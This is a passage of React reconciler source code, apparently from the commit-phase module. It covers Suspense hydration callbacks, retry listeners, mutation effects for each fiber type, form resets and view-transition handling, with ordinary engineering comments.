(hydrationCallbacks !== null) {\n              const onHydrated = hydrationCallbacks.onHydrated;\n              if (onHydrated) {\n                onHydrated(activityInstance);\n              }\n            }\n          } catch (error) {\n            captureCommitPhaseError(finishedWork, finishedWork.return, error);\n          }\n        }\n      }\n    }\n  }\n}\n\nfunction commitSuspenseHydrationCallbacks(\n  finishedRoot: FiberRoot,\n  finishedWork: Fiber,\n) {\n  if (!supportsHydration) {\n    return;\n  }\n  const newState: SuspenseState | null = finishedWork.memoizedState;\n  if (newState === null) {\n    const current = finishedWork.alternate;\n    if (current !== null) {\n      const prevState: SuspenseState | null = current.memoizedState;\n      if (prevState !== null) {\n        const suspenseInstance = prevState.dehydrated;\n        if (suspenseInstance !== null) {\n          commitHostHydratedSuspense(suspenseInstance, finishedWork);\n          if (enableSuspenseCallback) {\n            try {\n              // TODO: Delete this feature. It's not properly covered by DEV features.\n              const hydrationCallbacks = finishedRoot.hydrationCallbacks;\n              if (hydrationCallbacks !== null) {\n                const onHydrated = hydrationCallbacks.onHydrated;\n                if (onHydrated) {\n                  onHydrated(suspenseInstance);\n                }\n              }\n            } catch (error) {\n              captureCommitPhaseError(finishedWork, finishedWork.return, error);\n            }\n          }\n        }\n      }\n    }\n  }\n}\n\nfunction getRetryCache(finishedWork: Fiber) {\n  // TODO: Unify the interface for the retry cache so we don't have to switch\n  // on the tag like this.\n  switch (finishedWork.tag) {\n    case ActivityComponent:\n    case SuspenseComponent:\n    case SuspenseListComponent: {\n      let retryCache = finishedWork.stateNode;\n      if (retryCache === null) {\n        retryCache = finishedWork.stateNode = new PossiblyWeakSet();\n      }\n      return retryCache;\n    }\n    case OffscreenComponent: {\n      const instance: OffscreenInstance = finishedWork.stateNode;\n      let retryCache: null | Set<Wakeable> | WeakSet<Wakeable> =\n        instance._retryCache;\n      if (retryCache === null) {\n        retryCache = instance._retryCache = new PossiblyWeakSet();\n      }\n      return retryCache;\n    }\n    default: {\n      throw new Error(\n        `Unexpected Suspense handler tag (${finishedWork.tag}). This is a ` +\n          'bug in React.',\n      );\n    }\n  }\n}\n\nfunction attachSuspenseRetryListeners(\n  finishedWork: Fiber,\n  wakeables: RetryQueue,\n) {\n  // If this boundary just timed out, then it will have a set of wakeables.\n  // For each wakeable, attach a listener so that when it resolves, React\n  // attempts to re-render the boundary in the primary (pre-timeout) state.\n  const retryCache = getRetryCache(finishedWork);\n  wakeables.forEach(wakeable => {\n    // Memoize using the boundary fiber to prevent redundant listeners.\n    if (!retryCache.has(wakeable)) {\n      retryCache.add(wakeable);\n\n      if (enableUpdaterTracking) {\n        if (isDevToolsPresent) {\n          if (inProgressLanes !== null && inProgressRoot !== null) {\n            // If we have pending work still, associate the original updaters with it.\n            restorePendingUpdaters(inProgressRoot, inProgressLanes);\n          } else {\n            throw Error(\n              'Expected finished root and lanes to be set. This is a bug in React.',\n            );\n          }\n        }\n      }\n\n      const retry = resolveRetryWakeable.bind(null, finishedWork, wakeable);\n      wakeable.then(retry, retry);\n    }\n  });\n}\n\n// This function detects when a Suspense boundary goes from visible to hidden.\n// It returns false if the boundary is already hidden.\n// TODO: Use an effect tag.\nfunction isSuspenseBoundaryBeingHidden(\n  current: Fiber | null,\n  finishedWork: Fiber,\n): boolean {\n  if (current !== null) {\n    const oldState: SuspenseState | null = current.memoizedState;\n    if (oldState === null || oldState.dehydrated !== null) {\n      const newState: SuspenseState | null = finishedWork.memoizedState;\n      return newState !== null && newState.dehydrated === null;\n    }\n  }\n  return false;\n}\n\nexport function commitMutationEffects(\n  root: FiberRoot,\n  finishedWork: Fiber,\n  committedLanes: Lanes,\n) {\n  inProgressLanes = committedLanes;\n  inProgressRoot = root;\n\n  rootViewTransitionAffected = false;\n  inUpdateViewTransition = false;\n\n  resetComponentEffectTimers();\n\n  commitMutationEffectsOnFiber(finishedWork, root, committedLanes);\n\n  inProgressLanes = null;\n  inProgressRoot = null;\n}\n\nfunction recursivelyTraverseMutationEffects(\n  root: FiberRoot,\n  parentFiber: Fiber,\n  lanes: Lanes,\n) {\n  // Deletions effects can be scheduled on any fiber type. They need to happen\n  // before the children effects have fired.\n  const deletions = parentFiber.deletions;\n  if (deletions !== null) {\n    for (let i = 0; i < deletions.length; i++) {\n      const childToDelete = deletions[i];\n      commitDeletionEffects(root, parentFiber, childToDelete);\n    }\n  }\n\n  if (parentFiber.subtreeFlags & (MutationMask | Cloned)) {\n    let child = parentFiber.child;\n    while (child !== null) {\n      commitMutationEffectsOnFiber(child, root, lanes);\n      child = child.sibling;\n    }\n  }\n}\n\nlet currentHoistableRoot: HoistableRoot | null = null;\n\nfunction commitMutationEffectsOnFiber(\n  finishedWork: Fiber,\n  root: FiberRoot,\n  lanes: Lanes,\n) {\n  const prevEffectStart = pushComponentEffectStart();\n  const prevEffectDuration = pushComponentEffectDuration();\n  const prevEffectErrors = pushComponentEffectErrors();\n  const prevEffectDidSpawnUpdate = pushComponentEffectDidSpawnUpdate();\n  const current = finishedWork.alternate;\n  const flags = finishedWork.flags;\n\n  // The effect flag should be checked *after* we refine the type of fiber,\n  // because the fiber tag is more specific. An exception is any flag related\n  // to reconciliation, because those can be set on all fiber types.\n  switch (finishedWork.tag) {\n    case FunctionComponent:\n    case ForwardRef:\n    case MemoComponent:\n    case SimpleMemoComponent: {\n      // Mutate event effect callbacks on the way down, before mutation effects.\n      // This ensures that parent event effects are mutated before child effects.\n      // This isn't a supported use case, so we can re-consider it,\n      // but this was the behavior we originally shipped.\n      if (enableEffectEventMutationPhase) {\n        if (flags & Update) {\n          const updateQueue: FunctionComponentUpdateQueue | null =\n            (finishedWork.updateQueue: any);\n          const eventPayloads =\n            updateQueue !== null ? updateQueue.events : null;\n          if (eventPayloads !== null) {\n            for (let ii = 0; ii < eventPayloads.length; ii++) {\n              const {ref, nextImpl} = eventPayloads[ii];\n              ref.impl = nextImpl;\n            }\n          }\n        }\n      }\n      recursivelyTraverseMutationEffects(root, finishedWork, lanes);\n      commitReconciliationEffects(finishedWork, lanes);\n\n      if (flags & Update) {\n        commitHookEffectListUnmount(\n          HookInsertion | HookHasEffect,\n          finishedWork,\n          finishedWork.return,\n        );\n        // TODO: Use a commitHookInsertionUnmountEffects wrapper to record timings.\n        commitHookEffectListMount(HookInsertion | HookHasEffect, finishedWork);\n        commitHookLayoutUnmountEffects(\n          finishedWork,\n          finishedWork.return,\n          HookLayout | HookHasEffect,\n        );\n      }\n      break;\n    }\n    case ClassComponent: {\n      recursivelyTraverseMutationEffects(root, finishedWork, lanes);\n      commitReconciliationEffects(finishedWork, lanes);\n\n      if (flags & Ref) {\n        if (!offscreenSubtreeWasHidden && current !== null) {\n          safelyDetachRef(current, current.return);\n        }\n      }\n\n      if (flags & Callback && offscreenSubtreeIsHidden) {\n        const updateQueue: UpdateQueue<mixed> | null =\n          (finishedWork.updateQueue: any);\n        if (updateQueue !== null) {\n          deferHiddenCallbacks(updateQueue);\n        }\n      }\n      break;\n    }\n    case HostHoistable: {\n      if (supportsResources) {\n        // We cast because we always set the root at the React root and so it cannot be\n        // null while we are processing mutation effects\n        const hoistableRoot: HoistableRoot = (currentHoistableRoot: any);\n        recursivelyTraverseMutationEffects(root, finishedWork, lanes);\n        commitReconciliationEffects(finishedWork, lanes);\n\n        if (flags & Ref) {\n          if (!offscreenSubtreeWasHidden && current !== null) {\n            safelyDetachRef(current, current.return);\n          }\n        }\n\n        if (flags & Update) {\n          const currentResource =\n            current !== null ? current.memoizedState : null;\n          const newResource = finishedWork.memoizedState;\n          if (current === null) {\n            // We are mounting a new HostHoistable Fiber. We fork the mount\n            // behavior based on whether this instance is a Hoistable Instance\n            // or a Hoistable Resource\n            if (newResource === null) {\n              if (finishedWork.stateNode === null) {\n                finishedWork.stateNode = hydrateHoistable(\n                  hoistableRoot,\n                  finishedWork.type,\n                  finishedWork.memoizedProps,\n                  finishedWork,\n                );\n              } else {\n                mountHoistable(\n                  hoistableRoot,\n                  finishedWork.type,\n                  finishedWork.stateNode,\n                );\n              }\n            } else {\n              finishedWork.stateNode = acquireResource(\n                hoistableRoot,\n                newResource,\n                finishedWork.memoizedProps,\n              );\n            }\n          } else if (currentResource !== newResource) {\n            // We are moving to or from Hoistable Resource, or between different Hoistable Resources\n            if (currentResource === null) {\n              if (current.stateNode !== null) {\n                unmountHoistable(current.stateNode);\n              }\n            } else {\n              releaseResource(currentResource);\n            }\n            if (newResource === null) {\n              mountHoistable(\n                hoistableRoot,\n                finishedWork.type,\n                finishedWork.stateNode,\n              );\n            } else {\n              acquireResource(\n                hoistableRoot,\n                newResource,\n                finishedWork.memoizedProps,\n              );\n            }\n          } else if (newResource === null && finishedWork.stateNode !== null) {\n            commitHostUpdate(\n              finishedWork,\n              finishedWork.memoizedProps,\n              current.memoizedProps,\n            );\n          }\n        }\n        break;\n      }\n      // Fall through\n    }\n    case HostSingleton: {\n      if (supportsSingletons) {\n        recursivelyTraverseMutationEffects(root, finishedWork, lanes);\n        commitReconciliationEffects(finishedWork, lanes);\n        if (flags & Ref) {\n          if (!offscreenSubtreeWasHidden && current !== null) {\n            safelyDetachRef(current, current.return);\n          }\n        }\n        if (current !== null && flags & Update) {\n          const newProps = finishedWork.memoizedProps;\n          const oldProps = current.memoizedProps;\n          commitHostUpdate(finishedWork, newProps, oldProps);\n        }\n        break;\n      }\n      // Fall through\n    }\n    case HostComponent: {\n      // We've hit a host component, so it's no longer a direct parent.\n      const prevOffscreenDirectParentIsHidden = offscreenDirectParentIsHidden;\n      offscreenDirectParentIsHidden = false;\n\n      recursivelyTraverseMutationEffects(root, finishedWork, lanes);\n\n      offscreenDirectParentIsHidden = prevOffscreenDirectParentIsHidden;\n\n      commitReconciliationEffects(finishedWork, lanes);\n\n      if (flags & Ref) {\n        if (!offscreenSubtreeWasHidden && current !== null) {\n          safelyDetachRef(current, current.return);\n        }\n      }\n      if (supportsMutation) {\n        // TODO: ContentReset gets cleared by the children during the commit\n        // phase. This is a refactor hazard because it means we must read\n        // flags the flags after `commitReconciliationEffects` has already run;\n        // the order matters. We should refactor so that ContentReset does not\n        // rely on mutating the flag during commit. Like by setting a flag\n        // during the render phase instead.\n        if (finishedWork.flags & ContentReset) {\n          commitHostResetTextContent(finishedWork);\n        }\n\n        if (flags & Update) {\n          const instance: Instance = finishedWork.stateNode;\n          if (instance != null) {\n            // Commit the work prepared earlier.\n            // For hydration we reuse the update path but we treat the oldProps\n            // as the newProps. The updatePayload will contain the real change in\n            // this case.\n            const newProps = finishedWork.memoizedProps;\n            const oldProps =\n              current !== null ? current.memoizedProps : newProps;\n            commitHostUpdate(finishedWork, newProps, oldProps);\n          }\n        }\n\n        if (flags & FormReset) {\n          needsFormReset = true;\n          if (__DEV__) {\n            if (finishedWork.type !== 'form') {\n              // Paranoid coding. In case we accidentally start using the\n              // FormReset bit for something else.\n              console.error(\n                'Unexpected host component type. Expected a form. This is a ' +\n                  'bug in React.',\n              );\n            }\n          }\n        }\n      } else {\n        if (enableEagerAlternateStateNodeCleanup) {\n          if (supportsPersistence) {\n            if (finishedWork.alternate !== null) {\n              // `finishedWork.alternate.stateNode` is pointing to a stale shadow\n              // node at this point, retaining it and its subtree. To reclaim\n              // memory, point `alternate.stateNode` to new shadow node. This\n              // prevents shadow node from staying in memory longer than it\n              // needs to. The correct behaviour of this is checked by test in\n              // React Native: ShadowNodeReferenceCounter-itest.js#L150\n              finishedWork.alternate.stateNode = finishedWork.stateNode;\n            }\n          }\n        }\n      }\n      break;\n    }\n    case HostText: {\n      recursivelyTraverseMutationEffects(root, finishedWork, lanes);\n      commitReconciliationEffects(finishedWork, lanes);\n\n      if (flags & Update) {\n        if (supportsMutation) {\n          if (finishedWork.stateNode === null) {\n            throw new Error(\n              'This should have a text node initialized. This error is likely ' +\n                'caused by a bug in React. Please file an issue.',\n            );\n          }\n\n          const newText: string = finishedWork.memoizedProps;\n          // For hydration we reuse the update path but we treat the oldProps\n          // as the newProps. The updatePayload will contain the real change in\n          // this case.\n          const oldText: string =\n            current !== null ? current.memoizedProps : newText;\n\n          commitHostTextUpdate(finishedWork, newText, oldText);\n        }\n      }\n      break;\n    }\n    case HostRoot: {\n      const prevProfilerEffectDuration = pushNestedEffectDurations();\n\n      pushRootMutationContext();\n      if (supportsResources) {\n        prepareToCommitHoistables();\n\n        const previousHoistableRoot = currentHoistableRoot;\n        currentHoistableRoot = getHoistableRoot(root.containerInfo);\n\n        recursivelyTraverseMutationEffects(root, finishedWork, lanes);\n        currentHoistableRoot = previousHoistableRoot;\n\n        commitReconciliationEffects(finishedWork, lanes);\n      } else {\n        recursivelyTraverseMutationEffects(root, finishedWork, lanes);\n        commitReconciliationEffects(finishedWork, lanes);\n      }\n\n      if (flags & Update) {\n        if (supportsMutation && supportsHydration) {\n          if (current !== null) {\n            const prevRootState: RootState = current.memoizedState;\n            if (prevRootState.isDehydrated) {\n              commitHostHydratedContainer(root, finishedWork);\n            }\n          }\n        }\n        if (supportsPersistence) {\n          commitHostRootContainerChildren(root, finishedWork);\n        }\n      }\n\n      if (needsFormReset) {\n        // A form component requested to be reset during this commit. We do this\n        // after all mutations in the rest of the tree so that `defaultValue`\n        // will already be updated. This way you can update `defaultValue` using\n        // data sent by the server as a result of the form submission.\n        //\n        // Theoretically we could check finishedWork.subtreeFlags & FormReset,\n        // but the FormReset bit is overloaded with other flags used by other\n        // fiber types. So this extra variable lets us skip traversing the tree\n        // except when a form was actually submitted.\n        needsFormReset = false;\n        recursivelyResetForms(finishedWork);\n      }\n\n      if (enableProfilerTimer && enableProfilerCommitHooks) {\n        root.effectDuration += popNestedEffectDurations(\n          prevProfilerEffectDuration,\n        );\n      }\n\n      popMutationContext(false);\n\n      if (\n        enableDefaultTransitionIndicator &&\n        rootMutationContext &&\n        includesLoadingIndicatorLanes(lanes)\n      ) {\n        // This root had a mutation. Mark this root as having rendered a manual\n        // loading state.\n        markIndicatorHandled(root);\n      }\n\n      break;\n    }\n    case HostPortal: {\n      // For the purposes of visibility toggling, the direct children of a\n      // portal are considered \"children\" of the nearest hidden\n      // OffscreenComponent, regardless of whether there are any host components\n      // in between them. This is because portals are not part of the regular\n      // host tree hierarchy; we can't assume that just because a portal's\n      // HostComponent parent in the React tree will also be a parent in the\n      // actual host tree. So we must hide all of them.\n      const prevOffscreenDirectParentIsHidden = offscreenDirectParentIsHidden;\n      offscreenDirectParentIsHidden = offscreenSubtreeIsHidden;\n      const prevMutationContext = pushMutationContext();\n      if (supportsResources) {\n        const previousHoistableRoot = currentHoistableRoot;\n        currentHoistableRoot = getHoistableRoot(\n          finishedWork.stateNode.containerInfo,\n        );\n        recursivelyTraverseMutationEffects(root, finishedWork, lanes);\n        commitReconciliationEffects(finishedWork, lanes);\n        currentHoistableRoot = previousHoistableRoot;\n      } else {\n        recursivelyTraverseMutationEffects(root, finishedWork, lanes);\n        commitReconciliationEffects(finishedWork, lanes);\n      }\n      if (viewTransitionMutationContext && inUpdateViewTransition) {\n        // A Portal doesn't necessarily exist within the context of this subtree.\n        // Ideally we would track which React ViewTransition component nests the container\n        // but that's costly. Instead, we treat each Portal as if it's a new React root.\n        // Therefore any leaked mutation means that the root should animate.\n        rootViewTransitionAffected = true;\n      }\n      popMutationContext(prevMutationContext);\n      offscreenDirectParentIsHidden = prevOffscreenDirectParentIsHidden;\n\n      if (flags & Update) {\n        if (supportsPersistence) {\n          commitHostPortalContainerChildren(\n            finishedWork.stateNode,\n            finishedWork,\n            finishedWork.stateNode.pendingChildren,\n          );\n        }\n      }\n      break;\n    }\n    case Profiler: {\n      const prevProfilerEffectDuration = pushNestedEffectDurations();\n\n      recursivelyTraverseMutationEffects(root, finishedWork, lanes);\n      commitReconciliationEffects(finishedWork, lanes);\n\n      if (enableProfilerTimer && enableProfilerCommitHooks) {\n        const profilerInstance = finishedWork.stateNode;\n        // Propagate layout effect durations to the next nearest Profiler ancestor.\n        // Do not reset these values until the next render so DevTools has a chance to read them first.\n        profilerInstance.effectDuration += bubbleNestedEffectDurations(\n          prevProfilerEffectDuration,\n        );\n      }\n      break;\n    }\n    case ActivityComponent: {\n      recursivelyTraverseMutationEffects(root, finishedWork, lanes);\n      commitReconciliationEffects(finishedWork, lanes);\n      if (flags & Update) {\n        const retryQueue: RetryQueue | null = (finishedWork.updateQueue: any);\n        if (retryQueue !== null) {\n          finishedWork.updateQueue = null;\n          attachSuspenseRetryListeners(finishedWork, retryQueue);\n        }\n      }\n      break;\n    }\n    case SuspenseComponent: {\n      recursivelyTraverseMutationEffects(root, finishedWork, lanes);\n      commitReconciliationEffects(finishedWork, lanes);\n\n      // TODO: We should mark a flag on the Suspense fiber itself, rather than\n      // relying on the Offscreen fiber having a flag also being marked. The\n      // reason is that this offscreen fiber might not be part of the work-in-\n      // progress tree! It could have been reused from a previous render. This\n      // doesn't lead to incorrect behavior because we don't rely on the flag\n      // check alone; we also compare the states explicitly below. But for\n      // modeling purposes, we _should_ be able to rely on the flag check alone.\n      // So this is a bit fragile.\n      //\n      // Also, all this logic could/should move to the passive phase so it\n      // doesn't block paint.\n      const offscreenFiber: Fiber = (finishedWork.child: any);\n      if (offscreenFiber.flags & Visibility) {\n        // Throttle the appearance and disappearance of Suspense fallbacks.\n        const isShowingFallback =\n          (finishedWork.memoizedState: SuspenseState | null) !== null;\n        const wasShowingFallback =\n          current !== null &&\n          (current.memoizedState: SuspenseState | null) !== null;\n\n        if (alwaysThrottleRetries) {\n          if (isShowingFallback !== wasShowingFallback) {\n            // A fallback is either appearing or disappearing.\n            markCommitTimeOfFallback();\n          }\n        } else {\n          if (isShowingFallback && !wasShowingFallback) {\n            // Old behavior. Only mark when a fallback appears, not when\n            // it disappears.\n            markCommitTimeOfFallback();\n          }\n        }\n      }\n\n      if (flags & Update) {\n        try {\n          commitSuspenseCallback(finishedWork);\n        } catch (error) {\n          captureCommitPhaseError(finishedWork, finishedWork.return, error);\n        }\n        const retryQueue: RetryQueue | null = (finishedWork.updateQueue: any);\n        if (retryQueue !== null) {\n          finishedWork.updateQueue = null;\n          attachSuspenseRetryListeners(finishedWork, retryQueue);\n        }\n      }\n      break;\n    }\n    case OffscreenComponent: {\n      const newState: OffscreenState | null = finishedWork.memoizedState;\n      const isHidden = newState !== null;\n      const wasHidden = current !== null && current.memoizedState !== null;\n\n      if (disableLegacyMode || finishedWork.mode & ConcurrentMode) {\n        // Before committing the children, track on the stack whether this\n        // offscreen subtree was already hidden, so that we don't unmount the\n        // effects again.\n        const prevOffscreenSubtreeIsHidden = offscreenSubtreeIsHidden;\n        const prevOffscreenSubtreeWasHidden = offscreenSubtreeWasHidden;\n        const prevOffscreenDirectParentIsHidden = offscreenDirectParentIsHidden;\n        offscreenSubtreeIsHidden = prevOffscreenSubtreeIsHidden || isHidden;\n        offscreenDirectParentIsHidden =\n          prevOffscreenDirectParentIsHidden || isHidden;\n        offscreenSubtreeWasHidden = prevOffscreenSubtreeWasHidden || wasHidden;\n        recursivelyTraverseMutationEffects(root, finishedWork, lanes);\n        offscreenSubtreeWasHidden = prevOffscreenSubtreeWasHidden;\n        offscreenDirectParentIsHidden = prevOffscreenDirectParentIsHidden;\n        offscreenSubtreeIsHidden = prevOffscreenSubtreeIsHidden;\n\n        if (\n          // If this was the root of the reappear.\n          wasHidden &&\n          !isHidden &&\n          !prevOffscreenSubtreeIsHidden &&\n          !prevOffscreenSubtreeWasHidden &&\n          enableProfilerTimer &&\n          enableProfilerCommitHooks &&\n          enableComponentPerformanceTrack &&\n          (finishedWork.mode & ProfileMode) !== NoMode &&\n          componentEffectStartTime >= 0 &&\n          componentEffectEndTime >= 0 &&\n          componentEffectEndTime - componentEffectStartTime > 0.05\n        ) {\n          logComponentReappeared(\n            finishedWork,\n            componentEffectStartTime,\n            componentEffectEndTime,\n          );\n        }\n      } else {\n        recursivelyTraverseMutationEffects(root, finishedWork, lanes);\n      }\n\n      commitReconciliationEffects(finishedWork, lanes);\n\n      if (flags & Visibility) {\n        const offscreenInstance: OffscreenInstance = finishedWork.stateNode;\n\n        // Track the current state on the Offscreen instance so we can\n        // read it during an event\n        if (isHidden) {\n          offscreenInstance._visibility &= ~OffscreenVisible;\n        } else {\n          offscreenInstance._visibility |= OffscreenVisible;\n        }\n\n        const isUpdate = current !== null;\n        if (isHidden) {\n          // Only trigger disappear layout effects if:\n          //   - This is an update, not first mount.\n          //   - This Offscreen was not hidden before.\n          //   - Ancestor Offscreen was not hidden in previous commit or in this commit\n          if (\n            isUpdate &&\n            !wasHidden &&\n            !offscreenSubtreeIsHidden &&\n            !offscreenSubtreeWasHidden\n          ) {\n            if (\n              disableLegacyMode ||\n              (finishedWork.mode & ConcurrentMode) !== NoMode\n            ) {\n              // Disappear the layout effects of all the children\n              recursivelyTraverseDisappearLayoutEffects(finishedWork);\n\n              if (\n                enableProfilerTimer &&\n                enableProfilerCommitHooks &&\n                enableComponentPerformanceTrack &&\n                (finishedWork.mode & ProfileMode) !== NoMode &&\n                componentEffectStartTime >= 0 &&\n                componentEffectEndTime >= 0 &&\n                componentEffectEndTime - componentEffectStartTime > 0.05\n              ) {\n                logComponentDisappeared(\n                  finishedWork,\n                  componentEffectStartTime,\n                  componentEffectEndTime,\n                );\n              }\n            }\n          }\n        }\n\n        if (supportsMutation) {\n          // If it's trying to unhide but the parent is still hidden, then we should not unhide.\n          if (isHidden || !offscreenDirectParentIsHidden) {\n            hideOrUnhideAllChildren(finishedWork, isHidden);\n          }\n        }\n      }\n\n      // TODO: Move to passive phase\n      if (flags & Update) {\n        const offscreenQueue: OffscreenQueue | null =\n          (finishedWork.updateQueue: any);\n        if (offscreenQueue !== null) {\n          const retryQueue = offscreenQueue.retryQueue;\n          if (retryQueue !== null) {\n            offscreenQueue.retryQueue = null;\n            attachSuspenseRetryListeners(finishedWork, retryQueue);\n          }\n        }\n      }\n      break;\n    }\n    case SuspenseListComponent: {\n      recursivelyTraverseMutationEffects(root, finishedWork, lanes);\n      commitReconciliationEffects(finishedWork, lanes);\n\n      if (flags & Update) {\n        const retryQueue: Set<Wakeable> | null =\n          (finishedWork.updateQueue: any);\n        if (retryQueue !== null) {\n          finishedWork.updateQueue = null;\n          attachSuspenseRetryListeners(finishedWork, retryQueue);\n        }\n      }\n      break;\n    }\n    case ViewTransitionComponent: {\n      if (enableViewTransition) {\n        if (flags & Ref) {\n          if (!offscreenSubtreeWasHidden && current !== null) {\n            safelyDetachRef(current, current.return);\n          }\n        }\n        const prevMutationContext = pushMutationContext();\n        const prevUpdate = inUpdateViewTransition;\n        const isViewTransitionEligible =\n          enableViewTransition &&\n          includesOnlyViewTransitionEligibleLanes(lanes);\n        const props = finishedWork.memoizedProps;\n        inUpdateViewTransition =\n          isViewTransitionEligible &&\n          getViewTransitionClassName(props.default, props.update) !== 'none';\n        recursivelyTraverseMutationEffects(root, finishedWork, lanes);\n        commitReconciliationEffects(finishedWork, lanes);\n        if (isViewTransitionEligible) {\n          if (current === null) {\n            // This is a new mount. We should have handled this as part of the\n            // Placement effect or it is deeper inside a entering transition.\n          } else if (viewTransitionMutationContext) {\n            // Something mutated in this tree so we need to animate this regardless\n            // what the measurements say. We use the Update flag to track this.\n            // If diffing was done in the render phase, like we used, this could have\n            // been done in the render already.\n            finishedWork.flags |= Update;\n          }\n        }\n        inUpdateViewTransition = prevUpdate;\n        popMutationContext(prevMutationContext);\n        break;\n      }\n      break;\n    }\n    case ScopeComponent: {\n      if (enableScopeAPI) {\n        recursivelyTraverseMutationEffects(root, finishedWork, lanes);\n        commitReconciliationEffects(finishedWork, lanes);\n\n        // TODO: This is a temporary solution that allowed us to transition away\n        // from React Flare on www.\n        if (flags & Ref) {\n          if (!offscreenSubtreeWasHidden && current !== null) {\n            safelyDetachRef(finishedWork, finishedWork.return);\n          }\n          if (!offscreenSubtreeIsHidden) {\n            safelyAttachRef(finishedWork, finishedWork.return);\n          }\n        }\n        if (flags & Update) {\n          const scopeInstance = finishedWork.stateNode;\n          prepareScopeUpdate(scopeInstance, finishedWork);\n        }\n      }\n      break;\n    }\n    case Fragment:\n      if (enableFragmentRefs) {\n        if (current && current.stateNode !== null) {\n          updateFragmentInstanceFiber(finishedWork, current.stateNode);\n        }\n      }\n    // Fallthrough\n    default: {\n      recursivelyTraverseMutationEffects(root, finishedWork, lanes);\n      commitReconciliationEffects(finishedWork, lanes);\n\n      break;\n    }\n  }\n\n  if (\n    enableProfilerTimer &&\n    enableProfilerCommitHooks &&\n    enableComponentPerformanceTrack &&\n    (finishedWork.mode & ProfileMode) !== NoMode &&\n    componentEffectStartTime >= 0 &&\n    componentEffectEndTime >= 0\n  ) {\n    if (componentEffectSpawnedUpdate || componentEffectDuration > 0.05) {\n      logComponentEffect(\n        finishedWork,\n        componentEffectStartTime,\n        componentEffectEndTime,\n        componentEffectDuration,\n        componentEffectErrors,\n      );\n    }\n    if (\n      // Insertion\n      finishedWork.alternate === null &&\n      finishedWork.return !== null &&\n      finishedWork.return.alternate !== null &&\n      componentEffectEndTime - componentEffectStartTime > 0.05\n    ) {\n      const isHydration = isHydratingParent(\n        finishedWork.return.alternate,\n        finishedWork.return,\n      );\n      if (!isHydration) {\n        logComponentMount(\n          finishedWork,\n          componentEffectStartTime,\n          componentEffectEndTime,\n        );\n      }\n    }\n  }\n\n  popComponentEffectStart(prevEffectStart);\n  popComponentEffectDuration(prevEffectDuration);\n  popComponentEffectErrors(prevEffectErrors);\n  popComponentEffectDidSpawnUpdate(prevEffectDidSpawnUpdate);\n}\n\nfunction commitReconciliationEffects(\n  finishedWork: Fiber,\n  committedLanes: Lanes,\n) {\n  // Placement effects (insertions, reorders) can be scheduled on any fiber\n  // type. They needs to happen after the children effects have fired, but\n  // before the effects on this fiber have fired.\n  const flags = finishedWork.flags;\n  if (flags & Placement) {\n    commitHostPlacement(finishedWork);\n    // Clear the \"placement\" from effect tag so that we know that this is\n    // inserted, before any life-cycles like componentDidMount gets called.\n    // TODO: findDOMNode doesn't rely on this any more but isMounted does\n    // and isMounted is deprecated anyway so we should be able to kill this.\n    finishedWork.flags &= ~Placement;\n  }\n  if (flags & Hydrating) {\n    finishedWork.flags &= ~Hydrating;\n  }\n}\n\nfunction recursivelyResetForms(parentFiber: Fiber) {\n  if (parentFiber.subtreeFlags & FormReset) {\n    let child = parentFiber.child;\n    while (child !== null) {\n      resetFormOnFiber(child);\n      child = child.sibling;\n    }\n  }\n}\n\nfunction resetFormOnFiber(fiber: Fiber) {\n  recursivelyResetForms(fiber);\n  if (fiber.tag === HostComponent && fiber.flags & FormReset) {\n    const formInstance: FormInstance = fiber.stateNode;\n    resetFormInstance(formInstance);\n  }\n}\n\nexport function commitAfterMutationEffects(\n  root: FiberRoot,\n  finishedWork: Fiber,\n  committedLanes: Lanes,\n): void {\n  if (!enableViewTransition) {\n    // This phase is only used for view transitions.\n    return;\n  }\n  commitAfterMutationEffectsOnFiber(finishedWork, root, committedLanes);\n}\n\nfunction recursivelyTraverseAfterMutationEffects(\n  root: FiberRoot,\n  parentFiber: Fiber,\n  lanes: Lanes,\n) {\n  // We need to visit the same nodes that we visited in the before mutation phase.\n  if (parentFiber.subtreeFlags & BeforeAndAfterMutationTransitionMask) {\n    let child = parentFiber.child;\n    while (child !== null) {\n      commitAfterMutationEffectsOnFiber(child, root, lanes);\n      child = child.sibling;\n    }\n  } else {\n    // Nothing has changed in this subtree, but the parent may have still affected\n    // its size and position. We need to measure this and if not, restore it to\n    // not animate.\n    measureNestedViewTransitions(parentFiber, false);\n  }\n}\n\nfunction commitAfterMutationEffectsOnFiber(\n  finishedWork: Fiber,\n  root: FiberRoot,\n  lanes: Lanes,\n) {\n  const current = finishedWork.alternate;\n  if (current === null) {\n    // This is a newly inserted subtree. We can't use Placement flags to detect\n    // this since they get removed in the mutation phase. Usually it's not enough\n    // to just check current because that can also happen deeper in the same tree.\n    // However, since we don't need to visit newly inserted subtrees in AfterMutation\n    // we can just bail after we're done with the first one.\n    // The first ViewTransition inside a newly mounted tree runs an enter transition\n    // but other nested ones don't unless they have a named pair.\n    commitEnterViewTransitions(finishedWork, false);\n    return;\n  }\n\n  switch (finishedWork.tag) {\n    case HostRoot: {\n      viewTransitionContextChanged = false;\n      rootViewTransitionNameCanceled = false;\n      pushViewTransitionCancelableScope();\n      recursivelyTraverseAfterMutationEffects(root, finishedWork, lanes);\n      if (!viewTransitionContextChanged && !rootViewTransitionAffected) {\n        // If we didn't leak any resizing out to the root, we don't have to transition\n        // the root itself. This means that we can now safely cancel any cancellations\n        // that bubbled all the way up.\n        const cancelableChildren = viewTransitionCancelableChildren;\n        if (cancelableChildren !== null) {\n          for (let i = 0; i < cancelableChildren.length; i += 3) {\n            cancelViewTransitionName(\n              ((cancelableChildren[i]: any): Instance),\n              ((cancelableChildren[i + 1]: any): string),\n              ((cancelableChildren[i + 2]: any): Props),\n            );\n          }\n        }\n        // We also cancel the root itself.\n        cancelRootViewTransitionName(root.containerInfo);\n        rootViewTransitionNameCanceled = true;\n      }\n      popViewTransitionCancelableScope(null);\n      break;\n    }\n    case HostComponent: {\n      recursivelyTraverseAfterMutationEffects(root, finishedWork, lanes);\n      break;\n    }\n    case HostPortal: {\n      const prevContextChanged = viewTransitionContextChanged;\n      viewTransitionContextChanged = false;\n      recursivelyTraverseAfterMutationEffects(root, finishedWork, lanes);\n      if (viewTransitionContextChanged) {\n        // A Portal doesn't necessarily exist within the context of this subtree.\n        // Ideally we would track which React ViewTransition component nests the container\n        // but that's costly. Instead, we treat each Portal as if it's a new React root.\n        // Therefore any leaked resize of a child could affect the root so the root should animate.\n        // We only do this if the Portal is inside a ViewTransition and it is not disabled\n        // with update=\"none\". Otherwise the Portal is considered not animating.\n        rootViewTransitionAffected = true;\n      }\n      viewTransitionContextChanged = prevContextChanged;\n      break;\n    }\n   